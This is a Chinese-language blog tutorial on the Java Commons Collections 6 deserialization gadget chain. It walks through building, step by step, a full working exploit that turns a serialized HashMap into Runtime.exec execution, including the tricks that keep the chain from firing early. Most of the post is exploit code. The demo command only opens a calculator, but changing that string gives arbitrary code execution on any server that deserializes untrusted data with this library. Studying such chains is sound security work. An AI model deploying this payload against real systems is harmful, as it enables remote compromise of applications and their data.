Java反序列化 CC6链

参考链接

https://www.bilibili.com/video/BV1yP4y1p7N7
https://y0n3er.github.io/undefined/29590.html
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

环境搭建

jdk_8u71:https://blog.lupf.cn/articles/2022/02/20/1645352101537.html
虚拟机安装以后拷贝出来
image.png
然后在project structure里配置Project、Modules、SDKs
image.png
注意:调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致变量值改变!
image.png

调用链分析

yoserial的调用链

/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */

底层和CC1-LazyMap是一样的,只分析一下LazyMap上面的调用。

  1. TiedMapEntry#getValue()调用了map.get(key)
image.png
  1. TiedMapEntry#hashCode()调用了TiedMapEntry#getValue()

image.png

  1. HashMap#hash(Object key)调用了key.hashCode()

image.png

  1. HashMap#readObject()调用了HashMap#hash(key)

image.png

所以只需要一个HashMap序列化,key指定为TiedMapEntry对象,
再把TiedMapEntry对象的map属性改成LazyMap对象,就会调到它的get了。

编写Exp

lazyMap#get()

先确定lazyMap.get()能触发命令执行,Exp如下:

public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get("Jasper"); } }

image.png

TiedMapEntry#getvalue()

然后再构造TiedMapEntry的对象,观察是否能调到get()
注意构造函数要把lazyMap传进去,key随便取

public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); // lazyMap.get("Jasper"); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); tiedMapEntry.getValue(); } }

image.png

TiedMapEntry#hashCode()

hashCode()经常用来和入口类HashMap对接,需要比较敏感。
这里和上一步没差别,加了一层函数调用而已,为的是方便连上后面的入口类:

public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); // lazyMap.get("Jasper"); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); // tiedMapEntry.getValue(); tiedMapEntry.hashCode(); } }

image.png

HashMap#hash()

这个hash()是default的,我们用反射访问,确定链子到这没问题,Exp如下:

public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); // lazyMap.get("Jasper"); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); // tiedMapEntry.getValue(); // tiedMapEntry.hashCode(); Class clazz = Class.forName("java.util.HashMap"); Method hashMethod = clazz.getDeclaredMethod("hash", Object.class); hashMethod.setAccessible(true); hashMethod.invoke(clazz,tiedMapEntry); } }

image.png

HashMap#readObject()

它的反序列化函数会把hashMap这个对象里的key读出来做hash(),即hash(key)
这就需要我们在要序列化的对象里,put一个键值对,把key设成tiedMapEntry对象
Exp如下:

public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); // lazyMap.get("Jasper"); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); // tiedMapEntry.getValue(); // tiedMapEntry.hashCode(); // Class clazz = Class.forName("java.util.HashMap"); // Method hashMethod = clazz.getDeclaredMethod("hash", Object.class); // hashMethod.setAccessible(true); // hashMethod.invoke(clazz,tiedMapEntry); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); serialize(hashMap1); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); //反序列化执行readObject()方法 Object o = ois.readObject(); ois.close(); fis.close(); System.out.println("反序列化完成..."); } }

image.png
注意:这里实际上在put键值对的时候就调用了链条,弹出了计算器,这显然不对。
image.png

最终Exp

到这里,Exp还存在两个问题:

  • put的时候会提前调用了链条(老让自己电脑执行命令,不方便利用)
  • put调用链子后,再次反序列化不会进transfor()

首先解决HashMap#put()会触发链条的问题,这是因为它也会调HashMap#hash()

image.png

这意味着我们的链条会先被执行一次,而我们不想让它在自己电脑弹计算器(不方便),可以做这个修改:

//原来 LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); //改成 LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));

这样一来,即使put调用了链子,也只是返回一个常量,不会弹计算器。
但是,我们在改了链条去绕put之后,在反序列化之前肯定要把链子改回来,尝试编写Exp如下:

public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); //修改链子,防止put消耗链条 LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1)); // lazyMap.get("Jasper"); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); // tiedMapEntry.getValue(); // tiedMapEntry.hashCode(); // Class clazz = Class.forName("java.util.HashMap"); // Method hashMethod = clazz.getDeclaredMethod("hash", Object.class); // hashMethod.setAccessible(true); // hashMethod.invoke(clazz,tiedMapEntry); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); //把链子改回来 Field factoryField = lazyMap.getClass().getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); serialize(hashMap1); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); //反序列化执行readObject()方法 Object o = ois.readObject(); ois.close(); fis.close(); System.out.println("反序列化完成..."); } }

实际上虽然put弹了计算器,但后续还是能正常反序列化再弹一个计算器,这里猜测改掉的原因,主要可能是方便后续利用吧。
然后,解决反序列化不进transform()的问题,我们试着调试一下反序列化函数:

get:157, LazyMap getValue:74, TiedMapEntry hashCode:121, TiedMapEntry hash:338, HashMap readObject:1397, HashMap invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:497, Method invokeReadObject:1058, ObjectStreamClass readSerialData:1900, ObjectInputStream readOrdinaryObject:1801, ObjectInputStream readObject0:1351, ObjectInputStream readObject:371, ObjectInputStream unserialize:62, TestCC6 main:48, TestCC6

发现这里key2已经存在了,导致过不了判断,进不了transform(),这是为什么呢?

image.png

原因在于,执行put的时候调用过了一次这条链,在那时LazyMap就把没加载进来的key2给加进来了:

get:159, LazyMap getValue:74, TiedMapEntry hashCode:121, TiedMapEntry hash:338, HashMap put:611, HashMap main:41, TestCC6

image.png

这也是LazyMap类的功能所在,所谓的懒加载,那我们得想办法进到if判断里,来调transform()
这里很容易想到,我们把在序列化之前,再把key2给删了就好,最终Exp如下:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); //修改链子,防止put消耗链条 LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); //把链子改回来 Field factoryField = lazyMap.getClass().getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); //绕过IF判断,调用Transform lazyMap.remove("key2"); serialize(hashMap1); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); //反序列化执行readObject()方法 Object o = ois.readObject(); ois.close(); fis.close(); System.out.println("反序列化完成..."); } }

注意事项

调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致调试HashMap#put()的时候,
走到LazyMap#get()里,会自动给map添加key2,导致无论如何都过不了if,也调不了transform()
image.png

image.png

总结

CC6这条是不限制jdk版本的链子,比较通用,毕竟没有哪个版本会把HashMap给过滤了。
值得注意的是,CC6这条链给出了在Exp编写中,某个函数提前触发了链条的解决办法。
这条链本身并不难,主要是被IDEA的调试器给制裁了,导致调半天找不出原因。


__EOF__

本文作者Jasper
本文链接https://www.cnblogs.com/jasper-sec/p/17631171.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Jasper_sec  阅读(213)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示